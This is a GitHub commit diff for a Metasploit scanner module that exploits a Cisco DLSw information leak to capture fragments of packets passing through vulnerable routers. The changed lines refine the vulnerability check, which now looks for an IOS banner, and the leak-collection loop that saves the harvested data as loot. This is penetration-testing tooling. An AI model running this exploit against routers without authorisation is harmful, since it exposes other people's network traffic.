Skip to content

Commit 6b8b49f

Browse files
author
tate
committed
improving metasploit module based on feedback
1 parent 703e048 commit 6b8b49f

File tree

1 file changed

+14
-12
lines changed

1 file changed

+14
-12
lines changed

modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -16,16 +16,16 @@ def initialize
1616
super(
1717
'Name' => 'Cisco DLSw information leak',
1818
'Description' => %q{
19-
This module implements the DLSw information leak retrieval. There is
19+
This module implements the DLSw information leak retrieval. There is
2020
a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
2121
that allows an unuthenticated remote attacker to retrieve the partial
22-
contents of packets traversing a Cisco router with DLSw configured
23-
and active.
22+
contents of packets traversing a Cisco router with DLSw configured
23+
and active.
2424
},
2525
'Author' => [
2626
'Tate Hansen', # Vulnerability discovery
2727
'John McLeod', # Vulnerability discovery
28-
'Kyle Rainey', # Built lab to recreate vulnerability and help test
28+
'Kyle Rainey', # Built lab to recreate vulnerability and help test
2929
],
3030
'References' =>
3131
[
@@ -45,19 +45,19 @@ def initialize
4545

4646
# Called when using check
4747
def check_host(ip)
48-
print_status "Checking for DLSw exposure"
48+
print_status "Checking #{ip}:#{rport} for DLSw exposure"
4949
connect
50-
response = sock.recv(72)
50+
response = sock.recv(1024)
5151
disconnect
5252

53-
if response.length > 0
54-
print_status("Cisco router appears vulnerable - DLSw data is returned when establishing a connection to #{rport}")
53+
if (response.length > 0) && (response =~ /IOS Software|cisco.com/)
54+
print_status("The target Cisco router appears vulnerable, we detected parts of a Cisco IOS banner string emitted from #{ip}:#{rport}")
5555
report_vuln({
5656
:host => rhost,
5757
:port => rport,
5858
:name => self.name,
5959
:refs => self.references,
60-
:info => "Module #{self.fullname} successfully leaked info"
60+
:info => "Module #{self.fullname} collected #{response.length} bytes"
6161
})
6262
Exploit::CheckCode::Vulnerable
6363
else
@@ -69,7 +69,7 @@ def check_host(ip)
6969
def run_host(ip)
7070
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
7171

72-
print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}")
72+
print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}:#{rport}")
7373

7474
dlsw_data = ""
7575
until dlsw_data.length > datastore['LEAK_AMOUNT']
@@ -92,6 +92,8 @@ def loot_and_report(dlsw_data)
9292
'DLSw_leaked_data',
9393
'DLSw packet memory leak'
9494
)
95-
print_status("DLSw data stored in #{path}")
95+
print_status("DLSw leaked data from #{ip}:#{rport} stored in #{path}")
9696
end
9797
end
98+
99+

0 commit comments

Comments
 (0)